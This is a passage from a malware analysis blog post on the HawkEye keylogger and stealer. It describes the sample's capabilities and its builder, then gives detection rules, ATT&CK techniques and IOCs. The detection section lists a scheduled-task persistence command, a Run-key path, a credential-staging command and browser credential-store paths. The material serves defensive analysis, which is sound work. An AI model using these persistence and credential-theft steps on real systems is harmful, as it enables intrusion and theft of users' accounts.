At this stage, we just need to examine the payload’s functionalities. Upon first glance, we can see strings that reveal its nature—this sample didn’t expect anyone to reach this point, as it has three well-defined phases that conceal its tracks, but here we can see many indicators of what it is.

During the execution of this specific module, we can observe it invoking vbc.exe as it injects the payload into this process, using the same techniques we’ve previously seen.

Regarding the modules it brings, I compared three different samples, and they are quite similar in terms of what they can do. The general functionalities that typically match include:

• Keylogging (Monitoring and stealing keyboard and clipboard data)
• System information gathering (OS, HW, Network)
• Credential theft (Mail, FTP, browsers, video games, etc.)
• Wallet theft
• Screenshot capture
• Security software detection
• Analysis tools detection (Dbg, traffic, etc.)
• Persistence (usually via registry keys or Tasks)
• Information exfiltration through various methods (FTP, HTTP, SMTP, etc.)

Calling HawkEye a keylogger is really an oversimplification, as it performs more functions than many stealers I’ve seen. Once injected into vbc.exe or other processes, it carries out various actions mentioned above.

Outro

As we discussed earlier, different groups have used this keylogger, as well as independent criminals or even script kiddies. In my research, I found different places where this keylogger was sold—there were up to 4-5 different sites, as it changed developers and domains over time, which is quite common.

It has also been distributed through cracks, where it was sold or offered on forums to members, avoiding the usual membership fees or markets, offering it for very low payments compared to the standard price, which as we mentioned earlier, ranged from $20 to $50.

It’s always important with these kinds of tools to locate the original software in different versions to understand how it works from both the victim’s and the attacker’s perspectives, so we can get a complete view of the malware

Here, we can see that the builder provides a multitude of configuration options, allowing us to choose where to send the stolen information (email, FTP, etc.), what we want to collect (browser info, FTP credentials, mail, etc.), whether to check for certain tools, establish persistence, delete data, download from a domain (this could function as a downloader for other malware), change the payload data to make it appear like legitimate software (e.g., changing the icon, description, etc.). As you can see, it’s incredibly comprehensive. After compiling, we’ll have our complete Keylogger, Stealer, or Downloader (call it what you will, as it does everything) ready to use.

I don’t want to repeat myself too much, but when comparing the versions we’ve seen and extracted with the ones we created ourselves, they function exactly the same—same injections, persistence, data theft (or whatever was chosen in the builder). Therefore, in telemetry, we won’t find any surprises, as you can see below.

After analyzing all of this, I hope you are as impressed as I am by the sheer versatility and longevity HawkEye has displayed over the decades. It’s truly a tremendously powerful and easy-to-use tool that, unfortunately, we will continue to see in security incidents from actors of all types.

Finally, I would like to thank you for reading this analysis and for supporting me.

About ANY.RUN  

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.  

With ANY.RUN you can: 

• Detect malware in seconds
• Interact with samples in real time
• Save time and money on sandbox setup and maintenance
• Record and study all aspects of malware behavior
• Collaborate with your team 
• Scale as you need

Request free trial of ANY.RUN’s products →

Detection Opportunities

[TA0005][T1036] Duplication of original files in temporary paths

• (WriteFile) C:Users<user>AppDataLocalTemp*.exe
• (WriteFile) C:Users<user>AppDataRoaming*.exe
• (WriteFile) C:Users<user>AppDataRoamingMicrosoftWindowsTemplates*.exe
• (WriteFile) C:Users<user>AppDataLocalTempSystem*.exe
• (WriteFile) C:Users<user>Music*.exe

[TA0003][T1053] Scheduled Task persistence

• schtasks.exe /Create /TN “<Path><TaskName>” /XML “<TempPath><File>”

[TA0003][T1547.001] Registry Run Keys persistence

• (Registry) HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun 
• (ValueData) <Path Used on [TA0005][T1036] Duplication of original files in temporary paths>

[TA0005][T1055.012] Process injection on vbc or itself

• From file in temporary folder > injection > vbc.exe 
• From file in temporary folder > injection > Other unidentified file in same temporary path

[TA0009][T1074.001] Save stolen info on txt files

• vbc.exe /stext “*AppDataLocalTempholdermail.txt”

[TA0009][T1113] Saving screenshots of the victim’s screen

• (WriteFile / Regex NameFile) screenshotd{1}.jpeg

[TA0006][T1555] Queries to browser paths or third-party software to obtain user account information

• (Registry/Path query) Web Data | login data | Accounts | Profiles  | Cookiesindex.dat | profiles.ini | *.oeaccount

TTPs

[TA0001][T1566.001] SpearPhishing

[TA0002][T1204] User Execution

[TA0003][T1053] Scheduled Task/Job

[TA0003][T1547.001] Registry Run Keys / Startup Folder

[TA0005][T1112] Modify Registry

[TA0005][T1564.001] Hidden Files and Directories

[TA0005][T1055] Process Injection

[TA0005][T1562] Impair Defenses

[TA0005][T1027] Obfuscated Files or Information

[TA0005][T1140] Deobfuscate/Decode Files or Information

[TA0005][T1036] Masquerading

[TA0005][T1497] Virtualization/Sandbox Evasion

[TA0006][T1552] Unsecured Credentials

[TA0006][T1555] Credentials from Password Stores

[TA0007][T1087] Account Discovery

[TA0007][T1518.001] Security Software Discovery

[TA0007][T1033] System Owner/User Discovery

[TA0007][T1012] Query Registry

[TA0007][T1016] System Network Configuration Discovery

[TA0007][T1518] Software Discovery

[TA0007][T1082] System Information Discovery

[TA0009][T1074.001] Local Data Staging

[TA0009][T1005] Data from Local System

[TA0009][T1560] Archive Collected Data

[TA0009][T1114] Email Collection

[TA0009][T1115] Clipboard Data

[TA0009][T1113] Screen Capture

[TA0011][T1105] Ingress Tool Transfer

[TA0011][T1071] Application Layer Protocol

[TA0011][T1571] Non-Standard Port

[TA0042][T1583.008] Malvertising

IOCs

60fabd1a2509b59831876d5e2aa71a6b

defc51f31f6c4fa89cc6a39a62d8a08f

dea59d578e0e64728780fb67dde7d96d

040058f70ffdee6398f7b64ae1ea46d3

e651dca5c850451cdba7f25cbb4134e7

de823ba5d67de8682e6d7b8b472dbbcb

25a2d98dfcf6a12ea6459882c56aa2e0

179b219afa2ac15b14affd399273148b

38a3cb547a0a19a61534792f572f08b0

addcd85e0126e63e46da09eb8ea97120

0a2f6501a36c1b13532139e3c1843109

addcd85e0126e63e46da09eb8ea97120

06916c9505da82f63a73768c6f336192

ab264deb2563dc4df8b281b18e0861ba

66[.]147[.]236[.]46

204[.]141[.]42[.]56

129[.]204[.]194[.]84

The post HawkEye Malware: Technical Analysis appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More